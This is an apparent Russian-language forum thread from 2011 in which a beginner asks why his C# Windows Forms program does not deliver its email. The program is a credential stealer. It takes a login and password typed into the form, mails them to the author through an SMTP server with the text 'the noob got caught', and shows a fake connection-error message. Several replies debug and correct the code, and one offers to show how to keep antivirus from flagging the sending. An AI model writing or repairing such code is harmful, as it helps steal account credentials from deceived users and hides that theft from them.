PDA

Просмотр полной версии : [Помогите!] У меня нубская проблема...


†PrEPaDoK†
20.03.2011, 17:25
Всем здравствуйте.
У меня есть один нубский вопрос. Не приходит сообщение на майл. Где я мог ошибиться?
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();

comboBox1.SelectedIndex = 0;
}

private void button2_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "09090909q");

string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)//{0}\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

try
{
client.Send(msg);
}
catch { }
MessageBox.Show("Произошла ошибка при соединении!");
}


}
}

если кто сможет помочь отпишитесь в теме пожалуйста просто айм наб

Bra1n
20.03.2011, 17:28
1) нужно вставить в catch, а не за ним
MessageBox.Show("Произошла ошибка при соединении!");

2) ты указываешь логин-пароль от [Ссылки могут видеть только зарегистрированные и активированные пользователи], а пытаешься отправить письмо с логина [Ссылки могут видеть только зарегистрированные и активированные пользователи]

†PrEPaDoK†
20.03.2011, 17:31
ты указываешь логин-пароль от [Ссылки могут видеть только зарегистрированные и активированные пользователи], а пытаешься отправить письмо с логина [Ссылки могут видеть только зарегистрированные и активированные пользователи]
а как должно быть тогда я же только начал... обьясни хотя бы

.AsTex.
20.03.2011, 17:35
†PrEPaDoK†, Имя компа русское? Если да то хрен ты что получишь на почту,юзай сниффер. Могу даже подсказать как сделать чтобы анитивирь не говорил что идет отправка пакета,также можно сделать реальную авторизацию

Bra1n
20.03.2011, 17:38
3) зачем то еще поменял строку SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", 2525);
-----------------------------------------------
я же объяснил уже! Как по-твоему можно отправить письмо с мыла, от которого ты не указал пароль, и зачем указывать пароль от того, кому отправляешь?
читай опять тему [Ссылки могут видеть только зарегистрированные и активированные пользователи]

.AsTex.
20.03.2011, 17:41
Bra1n, Читай опять код! ТАм есть логин и пароль.
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "09090909q");

.AsTex.
20.03.2011, 17:45
Во вторых!
не [Ссылки могут видеть только зарегистрированные и активированные пользователи] а по-моему mail.ru.
В третьих почему ты авторизуешься с одного, отправляешь с другого,а прийти должно на тот с которого ты авторизовался?

Bra1nТы полюбому должен авторизоваться,для отправки сообщения с емайла.

.AsTex.
20.03.2011, 17:47
†PrEPaDoK†,
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // оригинально, вместо сервера почты,электронная почта
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "password"); // Указываем логин и пароль для авторизации

.AsTex.
20.03.2011, 17:51
1.Ошибка выше.
2.Вот код не кривой:
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "09090909q");
string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)//{0}\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

try
{
client.Send(msg);
}
catch { }
MessageBox.Show("Произошла ошибка при соединении!");
}


Вот таким раком сообзение придет на емеил [Ссылки могут видеть только зарегистрированные и активированные пользователи]

Для спасибо,есть кнопка спасибо

Хам!!!
20.03.2011, 18:18
вот правильный код
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();

comboBox1.SelectedIndex = 0;
}

private void button2_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные и активированные пользователи]", "09090909q");

string msgFrom = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgTo = "[Ссылки могут видеть только зарегистрированные и активированные пользователи]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)n\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);

MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);

try
{
client.Send(msg);
}
catch { }
MessageBox.Show("Произошла ошибка при соединении!");
}


}
}

p.s папробуй заместо мыло rambler.ru